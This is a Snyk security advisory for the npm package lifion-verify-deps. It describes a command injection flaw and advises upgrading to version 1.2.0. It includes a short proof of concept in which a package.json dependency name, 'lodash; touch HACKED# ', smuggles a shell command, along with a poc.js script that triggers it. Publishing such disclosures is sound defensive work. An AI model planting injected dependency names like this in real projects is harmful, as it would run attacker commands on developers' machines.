Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade lifion-verify-deps
to version 1.2.0 or higher.
lifion-verify-deps is a Verifies that installed NPM modules are the latest currently available version.
Affected versions of this package are vulnerable to Command Injection via a crafted dependency name on the scanned project's package.json
file.
Create an NPM project with a package.json file inside and add an entry to dependencies
:
"dependencies": {
"lodash; touch HACKED# ": "^4.17.20",
}
Then, run the following poc.js
:
const verifyDeps = require('lifion-verify-deps');
verifyDeps({ dir: '/my-project' }).then(() => {}).catch((err) => {})